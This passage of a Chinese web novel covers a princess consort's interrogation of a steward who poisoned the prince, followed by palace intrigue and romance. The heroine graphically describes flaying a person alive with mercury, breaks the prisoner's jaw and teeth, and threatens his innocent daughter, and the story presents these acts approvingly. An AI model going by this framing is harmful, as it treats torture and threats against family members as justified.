暗蒙低下头去,深深叹了口气:“属下已经将能用的刑都上了,没想到林泉那个家伙这么嘴硬,一个字都不肯说。”他咬着牙开口,眼底迸发出一抹狠意。 沈听晚勾了勾冷唇:“小小一个管家,嘴倒是硬的很。” “是属下疏忽了,竟从来都没有怀疑过他才是王府里最大的祸害!” 两人愧疚的垂下头去,眼中更是悔恨蔓延。 如果他们能够在警惕一点,王爷就不会被下毒而折磨这么久,今天秋月也不会受伤了。 “和你们没有关系,谁会想到一直在王府不声不响的管家会是奸细呢。” 第65章 作茧自缚 “把牢房打开,我要进去看看。”沈听晚抬手又指了指那玄铁而铸的牢门,冷声开口。 今天他险些要了秋月的命,那她现在就让林泉那家伙知道什么叫血债血偿! 吱嘎…… 一声,地牢的大门被暗蒙打开,沈听晚迈步从头的走进去,一眼便看到了浑身鞭痕的林泉靠在墙边正闭目养神。 沈听晚眼中迸发出寒光乍现,秋月的命刚刚被救回来,他倒是还能有空隙在这里睡觉? 凭什么? “把他给我叫起来!”沈听晚抬手指了指林泉,冷声娇喝道。 暗蒙立马拿起一旁盛满冰水的米桶,走进去朝着林泉的身上用力一扬。 冷冰冰的清水将林泉全身浸透,原本在睡梦中的林泉瞬间被惊醒打了个寒颤:“谁啊!敢打扰老子睡觉,不要命了!” 此时的林泉,仿佛没反应过来自己已经成了阶下囚,还以为自己是王府管家,躺在自己的房间里美美的睡觉呢。 一睁眼,在看到自己跟前一副冷冰冰的暗蒙,这才后知后觉的意识到,自己被关在这暗无天日的地牢之中。 心里头升起一丝恐惧之色。 想到方才,暗蒙将他绑在架子上,用那带着倒刺的鞭子,往他身上招呼,林泉便忍不住浑身一激灵,就连身上有些结痂的伤口,都不禁有些隐隐泛痛。 “都……都不让人睡觉的吗,我说了我什么都不知道,今天我只是想要去找秋月说说话!”林泉将身体缩了缩,依旧一副无赖的模样,叫暗蒙恨不得把这家伙给剁碎了喂狗。 “王妃娘娘要见你,你最好别耍什么花样,不然我可不敢保证你能不能活着见到明天的太阳!”暗蒙厌恶的瞪了林泉一眼,随即冷冰冰的道。 林泉此时也缓缓抬头,朝着牢房门外看过去,果然看到牢房外穿着一袭浅碧色长裙的女子,正是沈听晚。 他眼底闪过一丝阴郁之色,随即微微仰头闭眼,冷哼一声开口:“哼,想不到我在王府隐藏这么长时间,竟然不慎落入一个黄毛丫头的手上!” “怎么?看样子林管家心里不服气啊?”沈听晚冷冷勾唇,眼中闪过一抹杀意正浓。 “要不是你,我的计划早就已经得逞了!”林泉突然间扬高了声音,愤怒地喊道。 “哼!要是真让你的奸计得逞,岂不是王府没人了!”一旁暗祁冷声喝道。 林泉斜了斜眼,轻蔑的看向暗祁:“至少,在她没来王府之前,你们所有人都没有怀疑过我。” 听见这话,沈听晚的眼神微微暗了暗。 有谁能够想到,原书当中,导致君翊最终殒命在床榻上的那个人,竟然会是王府管家呢。 沈听晚其实一开始也没想到这个人,只不过,这些天通过林泉的一举一动,还是叫她发现了一些熟丝马迹。 “说说吧,你背后之人究竟是谁?”沈听晚也不想和林泉过多废话,抬眼冷冰冰地看向他,语气冰冷的说。 “呵呵,别在我身上白费力气了。”林泉冷笑着开口,随即抬起胳膊枕在脑袋下,微微闭眼,甚至还悠悠的翘起了二郎腿。 那模样,怎么看都像是欠揍! 暗祁忍不住心头的怒火,抬腿便是一脚,狠狠地踹在林泉的胸口上,满眼的怒火瞪向林泉,咬牙切齿地说。 “我看你是找死!” “噗”!一声,林泉被这一脚踹的不轻,整个人瞬间痛苦的趴在地上,口中吐出一大口鲜血,犹如一条死狗。 他缓和了一口气,啐了一口带着血的吐沫,努力强撑着翻过身来,微仰起头,脸上扬起一副欠揍的笑:“哈哈,我死又何妨?黄泉路上有一个小丫鬟给我作伴,在路上我可不孤单!” 林泉是认定了秋月那丫头已经死在了自己的匕首下,而且就算没有这条人命背在身上,他给翊王下毒这个罪名,就够要他人命的了。 “谁告诉你秋月已经死了的?”沈听晚负手而立,微歪了歪头:“告诉你,有我在,你的奸计不会得逞,秋月死不了,你一心想要毒害的翊王,他不可能短命,所有人都会好好的,只有你,一个人孤零零下地狱,受那十八层地狱之苦!” 林泉身形一顿,眼中满是不敢置信地瞪向沈听晚,他猛地摇头:“不可能,你怎么可能会医术!就算是会医术,你能比皇宫里那些太医厉害吗?” 这么多的太医都对翊王的伤束手无策,一个乳臭未干的黄毛丫头,怎么可能会这么厉害! “还有,秋月那丫头是我亲手杀的,她不可能还会活着!”林泉恶狠狠的道。 “那还要多亏了你,下手没个准头,那一刀可没刺中要害,倒是给了我救人的机会。”沈听晚冷笑着出声。 “还有王爷,其实王妃在刚进门那天就已经开始给王爷医治了,只不过一直对外封锁消息而已,现在王爷不仅死不了,而且还能开口讲话了,林泉,你的奸计得逞不了!”暗蒙也趁机补刀:“费了这么大半天的劲儿,也是只有你一个人作茧自缚!” “不可能!”林泉听见暗蒙的话,仿佛被彻底激怒一般,他强撑着起身,一双怒眼此时满是猩红之色,死死地盯着沈听晚:“你们骗我! 从前我给翊王下的毒,已经够叫他置于死地的了!就算后面你来了,发现那毒,也晚了,他死定了,翊王妃,你就等着守寡吧!” 沈听晚轻笑着出声:“那真是抱歉呢,估计是没法如你的意了,王爷好好的,估计要不了多久,他就能下地行踪了哦。” 沈听晚就是主打这气死人不偿命地开口。 眼看着林泉被沈听晚的话弄得彻底崩溃,甚至开始自我怀疑起来。 翊王真的被这黄毛丫头治好了? 他死死攥紧拳头,垂下眸子,脑袋里不断地将最近这些天的事情全部串联起来。 翊王妃进门的第二天,翊王的院子便被彻底封锁起来,所有人除了暗祁暗蒙以外,都见不到翊王的面…… 第66章 逼供 他不是没有想过暗中潜入王府,偷偷探查一下翊王的状况,奈何守卫太过森严,不光外头层层侍卫把守,暗处想必暗卫也是少不了的,根本就无从下手。 也正因为如此,他才会着急。 见不到君翊的情况,他没办法向上面的人汇报,所以才想出下毒这一计划来。 本以为今天晚上,翊王会毒发,会闹得王府鸡犬不宁,到时候他就可以趁着王府大乱,遣进去了结了翊王的命。 可是却没想到他等了这么久,王府依旧如往常般宁静。 他心下暗道不好,便打算趁着天黑去找秋月问清楚情况。 秋月是王府当中胆子最小的丫鬟,林泉原以为自己只要吓唬一下秋月,那小丫鬟便会为他所用。 哪成想,这一切都是沈听晚给他织的一张网啊! 这样仔细想过来,他的确是太不小心了! “林泉,到了今日这般境地,我若再问你受何人指使,你恐怕也是不肯轻易说实话的吧?” 林泉回神,眼中闪过一丝怨毒,狠狠地剜了沈听晚一眼:“废话少说,没杀了翊王,我认栽就是,要杀要剐随便你们,总之,你们休想从我口中撬出来半个字!” 只见林泉呀要切齿的道,脸上更是一副视死如归的样子。 “还真是硬骨头啊!”沈听晚凝视着林泉这副宁死不屈的模样,不怒反笑。 “你们两个,可曾听说过十八层地狱中都有什么酷刑吗?”沈听晚转过头,漫不经心地看向暗祁和暗蒙,语气格外平静地问道。 “下油锅,拔舌地狱,刀山地狱……”暗蒙琢磨一下,老实地回答道,心里头更为不解,不是要来审问林泉的吗,王妃只能突然间问起这些了? 难道真的要杀了林泉,让他下去亲自感受一下这十八层酷刑? 但那幕后之人还没审出来呢吧…… 真的就这样叫林泉死了,未免太过便宜他了! “ 嗯,说得不错。”沈听晚轻轻点头,随即缓缓转向林泉,对上他那双充满阴霾的眼睛:“不过,我倒是知道几种比十八层地狱酷刑更为精妙的,你们想不想见识一下?” “王妃娘娘请讲?”暗祁暗蒙也来了兴致。 还有比这十八层酷刑更残酷的? 他们倒是从未听说过。 “活剥人皮。”沈听晚的嗓音缓缓响起。语气平静,却透着令人不寒而栗的冷意。 “活剥?那王妃娘娘,人皮剥下来人岂不是也活不了了?”暗蒙忍不住开口问道。 “不不不,我说的这个办法,就是把人的埋到土里,只露出一个脑袋,然后在头顶上搁一个十字花刀,把头皮拉开,往里面灌水银。 你们都知道,水银那东西,很重的嘛,只需要稍稍一点,便会把肌肉和皮肤彻底剥离开。 埋在土里头的人啊会感受到无穷无尽的痛苦,将会在土里面不停的挣扎扭曲,最后你们猜一猜会怎么样?”沈听晚悠悠的开口,仿佛在几人的面前,讲着一个十分平常的故事一般,但却叫倒在地上的林泉听得毛骨悚然,浑身的汗毛仿佛都突然间竖了起来…… “会怎样?”暗祁咽了口吐沫,搭腔地开口,眼底却满是兴致勃勃。 这活剥人皮,可是从来都没有人试过呢。 他倒是对刑罚很感兴趣,只不过,因为东陵刑法禁止对犯人施加酷刑,所以很多刑罚都被明令禁止了。 “最后啊,”沈听晚嘴角浮现出一丝笑意,慢悠悠地说道,“自然是身体与皮肉完全分离,整个人光不出溜如同一条白条肉似的从泥土中爬出,浑身没有一块完好的皮肉。”然而那笑意却未达眼底,反而透着一股令人心寒的冷意。 在场的三人一个个都怔愣住了,林泉的嘴角更是狠狠地抽搐着,脸色惨白的吓人。 “活剥下人皮之后呢,我倒是可以发发善心,专门调配一副可以活命的药给人灌下去,保证他日日受无皮浑身难忍之苦,想死都会成为一种奢望。” “你们觉得好不好,不如我们就在临泉的身上好好试验一番,看看一整张人皮究竟长什么模样,如何?” 沈听晚话音刚落,林泉整个人都不由自主地打起了寒颤来,冷汗浸透了衣衫。不仅是他,就连站在一旁的暗祁和暗蒙也感到一股从脚底直冲头顶的寒意,脊背发凉。 两人忍不住偷偷朝着沈听晚的方向看过去。 这王妃娘娘未免太狠了些…… 这样残酷的刑法,竟然就这么脱口而出了? 暗祁垂下眸去,陷入沉思。 一个未经世事的闺阁小姐,她是怎么知道这些的呢…… 然而这些,也并不是沈听晚胡编乱造,而是曾亲眼看到过一个,所以才会这么具体的说出活剥人皮的步骤来的。 暗祁暗蒙哪里会知道,沈听晚在现代被关到实验室那段时间,她的那对如同恶魔般的父母,就是当着她的面,用这样残酷的方式,把人身上一整张人皮剥下来,只为了能够更加清楚的研究人体经络。 那时候,沈听晚还是一个七岁不到的小孩,当看到那两个魔鬼将实验台上的人身上一整张人皮剥下来的时候,沈听晚吓得一连半个月都不敢睡觉,一闭上眼,脑海里便浮现出那个血了呼啦的影子。 这么多年过去了,沈听晚都记得非常清楚,始终没有忘记。 “我知道,林管家既然敢做毒害王爷的事儿,就一定是下了必死之心的,不过没关系,我今天心情不好,就当是剥了你的人皮哄我开心了,其实我也想再看看,人皮剥下来之后,你究竟能挺几天。” 沈听晚似笑非笑的开口,随即看向一边:“暗祁,你去帮我弄些水银来,没有的话,就买些朱砂,提炼这东西,我可是最拿手的。”沈听晚眼底闪烁着冷光,笑着开口。 她保准提炼的比这里最好的水银还要纯。 “是,王妃娘娘,属下这就去!”暗蒙最先反应过来,点头应下便走出了地牢。 “那你就去挖坑吧,我看过王府后院那处荒废的院子就不错,就在那挖吧。”沈听晚又对暗祁说到。 第67章 林泉招供 暗祁也点头应下,准备要出门。 而趴在地上如同一条死狗的林泉,此时心里却陷入了深深的绝望与恐惧。 看着这架势,他便知道,沈听晚是要来真格的了。 他现在根本就不求能活命,只求可以速死。 林泉垂下眼去,眸中闪烁着慌乱,只不过很快,便被一抹必死的坚定所取代。 他活不了了,但死之前也绝不能受那样的折磨! 下定了决心的林泉,死死转紧拳头,眼中闪过一丝坚毅,只见他张开嘴,便欲咬舌自尽。 沈听晚微眯起一双冰冷的眸,将林泉的举动尽收眼底,一个快步冲进去,抬手便用力遏制住林泉的下巴。 “还想着在我面前自尽,让你现在就死,岂不是太便宜你!” 下一瞬,林泉的下巴便被沈听晚一个狠劲捏了下来。 还没走远的暗祁听到声音下意识转过头去,便见着自家王妃的手正死死地捏着林泉的下巴,很快,沈听晚松开手来,直了直要,略带嫌弃的擦了擦。 而倒在地上的林泉,此时却是连嘴都闭不上,整个一个下巴脱臼下来了! “你……你这个毒妇!杀了我,杀了我!”林泉恶狠狠的瞪着沈听晚,因着下巴脱臼,说话都有些含糊不清,大量的口水混合着血水从嘴角疯狂的流下,一整个人都陷入了深深的绝望当中。 太可怕了。 这个女人,她压根就不是人,他是魔鬼,是从地狱而出的恶鬼! “杀你?放心,会让你如愿,不过像你这样的恶人,就算是死,那临死之前我也得好好照拂照拂你啊。”沈听晚淡淡出声,眼底的冰寒瞬间笼罩林泉全身。 面对恶人,沈听晚从小就知道,绝不能手下留情。 只有比那恶人还要恶,他才会老实,才会从心里头生出对自己深深的畏惧。 这样,恶人才能听话。 “我说!” 林泉还是在最后一刻认命了,他想要死,这样就没人能从他嘴里有撬出来一句有用的话。 可是,沈听晚实在是太狠了。 他压根就死不成。 沈听晚的眼神微微闪了闪光亮,嘴角勾起一抹讽刺。 也不是什么硬骨头! “说吧,要是能让我满意,我可以给你一个痛快的死法。” 林泉闭了闭绝望的眼,他现在下巴脱落这,要他这么说啊…… 沈听晚轻挑了挑眉:“哦,我倒是差点忘了。”说着,她再抬手,只听“咔嚓”一声,林泉的下巴便又被抬了上去,只不过下一瞬,沈听晚却猛然攥紧了拳头,一个狠劲朝着林泉的脸上招呼过去。 顷刻间,林泉刚刚被接好的下巴,又是一大口鲜血吐在地上,只不过,这一次,地上的血里面却混合着几颗被沈听晚打得脱落下来的牙。 沈听晚是担心林泉在她面前,又想耍什么花招,索性便一不做二不休,直接把林泉的牙打掉,这样,他就算是想死,也是无法的。 还没来得及出门的暗祁看到这一幕,一时间瞠目结舌。 他不自觉的咽了咽口水,饶是曾杀人无数,身为暗卫的他,在这一刻心里头也不禁对沈听晚有了一丝复杂的情愫。 他们王妃娘娘,下手还真是够狠辣! 而且这些招数都是他们对待一些穷凶极恶的恶徒才会用的手段。 王妃娘娘竟然知道? 王妃会武功这件事,暗祁已经知道了,可是却没想到沈听晚竟然会有这么大的力气。 只不过一拳头,就把林泉嘴里的牙打下来五六颗! 不过这样也好,狠一点,才不会有人敢欺负他们王妃。 “好了,你现在可以说了。” 沈听晚却丝毫不觉自己有多狠毒,在这满肚子诡计的林泉身上,若是比使点手段,真是应付不了他呢。 林泉算是彻底怕了眼前这个看上去年纪不大的小姑娘了,只因着沈听晚,看上去人畜无害,但确实真的够狠。 他深吸一口气,整个人不停地颤抖着:“王爷体内的毒,的确是我下的……” 沈听晚微微眯起双眼,冷声地道:“是受何人指使?” 林泉绝望的闭上眼:“我不知道他是何人,只知道他是一个男人,一年前,王爷从战场上负伤回来,那个人就找到了我,所说只要我帮他做成这件事,就会给我一笔银子。” 那是一笔他就算是花到下辈子都花不完的巨银! “昨天我出门去百草堂,也是你把我的行踪透露出去的?” 林泉的目光闪了闪:“是,是我,因为这么长时间,王爷的院子被封锁,我根本没机会看到王爷。 那个人有找到我,问我王爷现在的状态是不是要死了,我……我答不上来。 他就给我下了这个命令……” “是让你监视我,对吗?” 林泉点了点头,又立马摇头:“是,也不全是,他让我监视王府里所有人,一切的动向都要告诉他……” “你是如何向他传递消息的?”沈听晚又冷冰冰地质问道。 林泉犹豫一瞬,一双惊慌失措的眼不断地转动着,后背也被冷汗浸透。 沈听晚微眯起双眼,眸中迸发出一抹怒气:“看来林管家还是不准备老实听话啊。” 她仿若寒潭般的眼凝视着林泉:“我听说,林管家膝下有一个女儿,年纪应该和秋月一般大吧……” 林泉听见这话,眼瞪的老大下意识看向沈听晚:“你,你怎么知道?”又紧接着焦急的道:“她是无辜的,所有的一切都是我干的,要杀就杀我,你别伤害她!” “呵,那个时候急了,那你对秋月下手的时候,怎么就没有想过,她也是一个孩子?”沈听晚一记白眼瞪过去,讽刺地道。 林泉眼底闪过一丝复杂之色,毫无血色的唇又白了几分,抬手间便狠狠抽打自己的脸上:“我……我罪无可恕,我是禽兽不如的畜生,可是……可是我女儿她从来都不知道这些,求你,不要伤害她,我要把这些事儿告诉她……” “想要她活命,那就一五一十把你知道的一切说出来。”沈听晚微微歪头看向她,冷冷地开口。 林泉不说话了,他紧低着头,眼中却尽是挣扎与绝望之色。 他不能再说了…… 第68章 受人威胁 再说下去,即便沈听晚放过他的女儿,那个人也不可能放过他全家…… “你把我的人皮割下来吧,我既然落在你的手上,便认栽了,要杀要剐随便你们,我绝无怨言!”林泉最终是下定了决心,视死如归地开口。 他一个人生不如死,也总好的过全家人都下黄泉的好! 沈听晚见着林泉刚准备要松口,可能提到那背后之人又瞬间决心赴死,眉头紧紧凝了起来。 看样子,这背后之人的势力不小吗! 能够让林泉宁愿遭受酷刑,也不肯再透露分毫,这人应该是有滔天的权势。 至少,是足矣叫林泉心生畏惧的大人物! 沉思半晌后,沈听晚微微眯起双眼,又缓缓开口。 “你不肯说,是因为你的家人被那个人掌控着,对吗?” 林泉浑身一僵,心里头更是不敢置信,沈听晚竟然猜出来了! 见着林泉的脸上的表情,沈听晚勾了勾唇:“看来我猜对了,你宁愿死也要护着那个人,不是因为你对他有多忠心。 你也并不是因为被那比巨银诱惑,之所以对王爷下手的,那都是因为你家人的命,都握在他的手上,我说的对吧?” 沈听晚思索了良久,我觉得只有这么一个答案,才能让林泉这么嘴硬不肯说了。 林泉死死咬了咬口中早已经不复存在的后槽牙,眼底闪过一丝恨意。 没错! 确实如沈听晚所说的那样,一年前那个人找到他,说只要他在翊王的药里头下毒,制成之后便会给他一大笔银子。 可王爷对他有恩啊,他怎么可能做那种背信弃义的事儿? 但是后来,那个人见他不为所动,就想到了用他的家人作为要挟! 他若是不肯从命,那个人就要把他的妻女全都杀了。 林泉缓缓闭上了眼,满眼尽是绝望与无措:“王妃娘娘,试问若是有人拿将军府作为要挟,逼着王妃对王爷下手,你又当作何选择?” 听着林泉的话,沈听晚深深叹了口气,心里头更像是堵了一团棉花。 果然又被她猜中了。 所以管家林泉,之所以冒着必死的风险,也要给君翊下毒,是为了保全自己的妻女 。 不知道为什么,沈听晚看着眼前的林泉,又突然间生出一丝同情。 如果林泉是被钱财所诱惑,那确实是死不足惜。 可是那背后之人,选择用家人要挟,逼林泉就范,这边又是另外一码事儿了。 “如果说,我能帮你把妻女从那人的手上救出来,你可愿意把你知道的全部真相都告诉我?”沈听晚沉思一瞬,再次抬眼,目光清淡地道。 听见这话,林泉很是不敢置信,他缓缓抬起头来,绝望的眼底闪过一丝光亮,试探地开口:“王妃娘娘,此话当真?” “给你两条路,要么和之前说的那样,让你生不如死,到你失去一切价值的时候,看看那个人会不会放过你的妻女,要么,你知道的一切都告诉我,或许你活不了,但是你妻女的命,我可以保住,王府会保她们下半辈子安稳无忧的活着。” 两条路,林泉都是必死无疑。 要如何抉择,全看林泉怎么选了。 沈听晚两手环抱与胸前,微微往身后仰了仰,语气慵懒地开口。 给君翊下毒,并非一朝一夕,而是整整一年的时间,如果她不是偶然间穿到这里来,君翊还有不到几个月的时间就会病死塌卧。 所以,她没办法替君翊,替受重伤的秋月去饶恕林泉的罪行。 但正如林泉所说的那样,他的妻子女儿是无辜的。 她们并没有参与到给君翊下毒的这件事情上来。 如果林泉此时招供,那便算是立功赎罪了。 林泉深吸一口气,随即强撑着起身缓缓跪在沈听晚的脚边:“如果王妃娘娘真能救我妻女的命,我愿将我知道的一切都告诉王妃!”林泉保证地道。 说完这话,林泉的面上满是决然之色。 如果能用他的这条贱命换自己妻女平安,并且保全她们下半辈子的温饱无忧,对他来说,便值了! 沈听晚微微眯起双眼来:“可要想清楚,不管你怎么选择,你都无法活了。” 林泉低下头去,惨戚戚地苦笑着:“自打一年前,我暗中给王爷下毒,便已经是罪无可恕的死罪了。” 既然怎么都是要死的,那还有什么好顾虑的呢。 更何况,他被逼着背叛王爷,在林泉的心里头,便是下定了决心,只要那人放过他的妻女,他就把得来的所有钱财全部交到她们手上,自己便去到王爷的坟前自尽。 今生既然无法做到忠义两全,那到了黄泉路上,他定死心塌地追随王爷! “好,那你便把你所知道的一切都说出来,只有知道那人究竟是谁,我才能帮你。” 林泉想了一下,面容又变得严肃,他垂下眸去:“王妃,奴才并不知道那人究竟是谁……” 沈听晚眉头紧蹙:“不知道?” 糊弄鬼呢? 心下也顿时升起一丝怒火。 好一个林泉,表面上看上去是答应了她的话,可却在这儿给她耍小心思呢! 又继续冷声地道:“林泉,我看你这条命是现在就不想要了!看来你也不在乎你那妻女的死活了,是吧!” “王妃娘娘,此话何意?”林泉猛然抬起头来,焦急地道 “哼,你受命于那人将近一年的时间,难道就从来没见过他一面!”沈听晚冷声地道。 “王妃娘娘,奴才真的不知道他是谁啊!”林泉的脸色突然垮下来:“这一年多来,他都是蒙着脸来找奴才的啊。” 沈听晚眉头一凝:“蒙面?” 林泉忙不迭点头:“是,就是和奴才昨晚戴的面具一样,一身黑衣,带着白色面具,而且奴才就只见过他两面,这一年多来,他想要让奴才做什么,就会在奴才房中留下字条,就是根据字条上所写一一听从照做的啊!” “那你见过他这两面,可有记住那人的特征,是高是矮,是胖是瘦,说话的声音什么样?” 林泉仔细地想了想,更是急得满脑门全是汗:“是瘦的!个子比奴才高半个头。” 第69章 那人是皇宫里出来的 突然间又像是想到了什么一般,一脸恍然,忙不迭地又道:“他是从皇宫里出来的!” 听见这话,沈听晚的目光瞬间看向林泉:“你怎么会这么确定?” “是他说话的声音!”林泉坚定的道:“他说话的时候,故意压低了声调,但还是能听出来,他有些公鸭嗓,像是……像是宫里头的公公……” 因为只有皇宫里被受过阉割的太监,声音才会一点点变尖锐刺耳。 听见这话,沈听晚的脸瞬间沉了下来,一双明亮的眸,此时也阴沉的可怕。 如果那个人真的是从皇宫里出来的,那此时怕是就没那么简单了。 来见林泉的人,估计也不是真正的幕后凶手! 来看,这皇宫之中,还真是又不少人,盼着君翊死呢! “王妃娘娘……”此时,林泉的脸色也变得复杂:“如果真的是皇宫中有人要对王爷不利,那我妻女的命……” 要是叫那人知道,他把一切都告诉给了王妃,落入那人手上的妻女,还能活吗? “既然答应过你,便一定尽力救出你的家人,但是你最好不要骗我,否则……”沈听晚警告的话如同寒潭里的冰水般刺骨寒凉。 “奴才不敢!”林泉忙低下头去,郑重应道。 开都已经到了这个地步,他若是再敢耍什么把戏,那岂不是自己找死? 林泉心里是知道这一点的,这么长时间。他不是没有想过要救出妻女,可始终未能成功。 有一次,他只不过是在那人的面前,小心翼翼的试探两句,想要看看能不能套出他妻女的下落,可是换来的却是一顿毒打,打的他三天都下不了床。 从那一会之后,林泉就再也不敢了。 他倒不在乎自己会不会挨打,他是担心彻底激怒那人,在把气撒到他妻女的身上。 沈听晚出了地牢的门。 守在地牢门口的暗祁立马迎上来:“王妃娘娘,您觉得林泉的话可信吗?” “可信, 但不能完全相信。”沈听晚一脸严肃,眼中闪过一丝寒光,冷声开口道。 暗祁蹙眉:“这么说,那家伙还没对王妃说真话?” 这下子,暗祁瞬间怒了,都到了这个地步,林泉竟然还敢耍心眼! “这家伙狡诈的很,不如将此人交给属下,属下保准叫他说实话!” 他不把林泉打的连他爹娘都不认识,那就白在暗卫营里头待这么长时间了! “不必。”沈听晚淡淡开口:“他现在唯一的指望就只有王府了,所以应该不会说假话,但光凭那个黑衣人的声音,目前还是无法确定,此人究竟是不是出于皇宫。” 沈听晚沉思下来,脑袋里不断分析着,一点点将思路捋清。 “我想,那个人现在应该很急切想要知道王爷的情况,肯定还会再找到林泉问清楚的。” “那王妃娘娘是想要将林泉给放了?”暗祁脸色突然间变得焦急:“万万不可啊,王妃,如果把他放了,无疑放虎归山!” 再想抓住真凶,那恐怕就真的难了。 沈听晚白了暗祁一眼:“你觉得我是那么愚蠢的?” 暗祁一顿:“……”他抽了抽嘴角,随即忙低下头去:“属下不敢。” “去找一个和林泉身高体型差不多的,长得也至少要有七八分像的人来。” 暗祁一脸恍然:“王妃娘娘是想让人代替林泉?” 沈听晚点点头:“嗯,这段时间,如果王府里有人问起就说林管家病了,王府给他放了半月的假叫他休息,这半个月的时间,必须把人给我找到!” “是,属下明白了!”暗祁立马点头应下。 心里更是对沈听晚再次充满了佩服。 “还有,这里要严加看守,不允许让任何人轻易靠近地牢,发现林泉的踪迹。” “是!” 命令了暗祁之后,沈听晚才回了房间,并且将昨天晚上的事,还有林泉招供的话都和君翊说了一遍。 在君翊从沈听晚的口中得知林泉就是王府里头的那个奸细时,也是有些不敢置信。 林泉的命,可是他亲手救下来的! 几年前,他为了给老娘治病,在外欠下了一笔巨债,上门追债的人想要将他的妻女掳走抵债,林泉万般不肯,拼死反抗,险些被那伙人给打死! 那伙人把被打的只剩下一口气吊着的林泉丢在大街上示威,是他把人救下来,并且把子钱家一网打尽,还帮他还了债。 君翊是看他可怜,而且为人也算老实,才将他带回王府,叫他打理王府。 可却没想到,这到头来,竟然是他自己,亲手养成了一个祸害! 君翊阴沉着脸,五官下笼罩着一层冰霜,一张棱角分明的脸庞,显得格外森冷。 沈听晚叹了口气,把环保在胸前的双手放下,坐在床边,一双美眸看着君翊。 “他这一次还是因为妻女被劫走,被逼无奈下给你下毒的,虽然罪不可恕,但我答应他,会救下他的妻女,不过林泉这个人如何处置,还是要你开口的。” 毕竟,沈听晚没有权利可以帮君翊做这个决定。 君翊垂下眼去,含着一张脸,周身散发出不悦的冷气。 “本王现在没功夫处置他!” 林泉纵然可恨,但那背后之人更视如禽兽! 沈听晚见状,也是暗戳戳松了口气,还好,君翊不是那种被愤怒冲昏头脑,一言不合就要灭门全家的人。 “林泉说,那个人是皇宫里的,你怎么看?”沈听晚又抬眼继续开口问道。 此时,君翊那黑如鹰一般锐利的冷眸闪过一丝阴沉。 半晌,他垂下眼,或许是担心自己现在这个样子会吓到沈听晚,将眼中的杀意掩下去几分,不紧不慢的开口:“若真是出自皇宫,想要治本王于死地的人,还真不少。”语气间带着一丝自嘲。 那坐在高位上的,他的好皇兄,岂不是首当其中? 还有那个从前和他母妃本是皇宫里最好的一对姐妹,如今成为那万人之上的太后,更是巴不得他尽早死了才好! 君翊很快便稳定下来情绪,倒是叫沈听晚有些意外。 第70章 他们没那么蠢笨 她想了一下,随即不紧不慢的道:“其实,我倒是觉得,皇宫里纵然又不少人巴不得你死,但给你下毒这件事,可能还真不是他们的手笔。” “此话怎么说?”君翊眼底闪过一丝叫人难以捉摸的暗光,定定的紧盯着沈听晚的双眼。 “不知道怎么说,但总感觉这件事情透着说不出来的奇怪。”沈听晚轻摇了摇头,冷静地分析着:“如果真的是从皇宫里来的,那他们为什么会选择一个太监和林泉见面?” 就像现在一招不慎,很容易便会被人察觉到。 “我是觉得,皇宫里的人,应该不会那么蠢的去犯这么愚蠢的错。” 如果真的是皇帝,或者是太后其中一人,又或者是他们母子二人联手密谋的此时,那肯定是经过深思熟虑,会把一切可能会暴露身份的破绽全部掩盖好。 而不是蠢到派一个只有皇宫里才能有的太监,去办这件事。 君翊的双眼微微闪过一丝恍然:“你的意思是,有人想要故意将此事引到皇宫?” 沈听晚眉头紧蹙,想了半天,最后还是摇了摇头:“我不知道,也可能是我想多了,可能是我把事想复杂了也不一定。” 但沈听晚总是感觉,这事上面透着说不出的古怪。 听见这话,君翊脸上却露出些许不赞同的神色来:“可能并非是你多想了。”薄唇帷帽抿成一条直线,微垂下深邃的眼满是沉思:“也有可能,那幕后之人就是想要让我们把矛头对准皇宫里的那位。” 沈听晚的表情一顿,缓缓移目看向君翊,对上他那双深邃的眸:“你这么相信我?” 君翊手指在床上节奏不稳的敲着,盯着沈听晚那双略带迷茫的眼睛,突然笑了:“本王从一开始,不就一直相信王妃?” 若不是他信她,打从一开始,他就不会沈听晚接受沈听晚对他的医治。 事实证明,沈听晚也并没有辜负他的这份信任。 沈听晚的脸上变得有些不大自然,看着君翊脸上扬起的一抹笑意,声音语调低沉却带着一丝轻快,忙移开视线开口。 “我劝你哈,别太相信我,咱们之间可是太后娘娘赐婚,说不准我就是太后派带你身边来,想要杀你的人呢!” “你会杀我吗?” 沈听晚身体又是一顿,她张了张嘴:“怎么就不会?万一太后许诺了什么叫我无法拒绝的好处呢。” “哼。”君翊轻哼一声,嘴角的笑意不减:“你不会。”语气坚定,带着一丝叫沈听晚都不敢相信的信任。 君翊对她可以说是无条件的信任,这让沈听晚心里仿佛被什么东西狠狠撞了一下。 “你……这么确定?”沈听晚小声试探地开口问道。 “如果王妃真的想杀我的话,这半个月的时间,你会有很多机会下手。” 就像他们大婚当天,如果沈听晚真的下了杀心,给他施针的时候,只要稍微动一下手脚,他就必死无疑了。 君翊:“而且,本王也相信自己的眼光。”他抬眼看向沈听晚,眼神定定,缓声开口:“本王不会看错人。” “君翊!” 听见这话,沈听晚的脸上扬起一抹灿烂如花般的笑意,双眼弯弯,好心情怎么也无法遮掩得住。 君翊这个男人,不仅脸长得好看,身材也不是一般的好,倒是还有一双明辨是非的眼睛,就让这天下不少男子望尘莫及的。 君翊抬眸望着沈听晚,眼底蕴含着疑惑。 沈听晚勾起一抹浅笑来,目光莹莹的看向君翊:“谢谢你的信任。” 她定不会辜负这份难得宝贵的心意。 君翊轻笑着挑眉:“那本王这样相信你,王妃可有想过信本王一次?” 沈听晚一顿,脸上的笑意僵住。 这话,好像意有所指啊…… 沈听晚有些不敢细细琢磨君翊着话其中的暗意,有些慌乱的收回视线,语调紧绷打着哈哈:“我当然也相信王爷。” “这件事情就交给我吧,我会找到给你下毒的人。” 想要尽快转移话题是真的,当然找到那个凶手,也是真的。 君翊作为东陵的亲王,而且手中还握着兵权。 如果他真的死了,便如书中所写的那样,东陵恐怕真的要乱上好一阵了。 沈听晚缓缓站起身来:“不过接下来,还有很重要的事情要做。” “我准备要开始给你医治了。” 君翊暗叹了口气,眸中闪过一抹无奈。 看来,小姑娘还是不肯那么轻易的相信自己啊。 不过,他不着急。 他们之间,还有很长一段时间相处呢。 君翊就不相信,小姑娘能一直这样严防死守着自己的秘密。 “是要今天吗?”顺着沈听晚转移的话,君翊也不再固执着强迫沈听晚打开心房,开口淡声问道。 “嗯。”沈听晚点点头:“不能再拖了。”她严肃的看向君翊:“躲在暗处想要治你于死地的人可不少,如果不尽快医好你,我担心他们还会对你下手。” 一个对君翊无比忠心耿耿的管家,他们都能攻克下来,难保他们不会把目标放在王府其他下人身上。 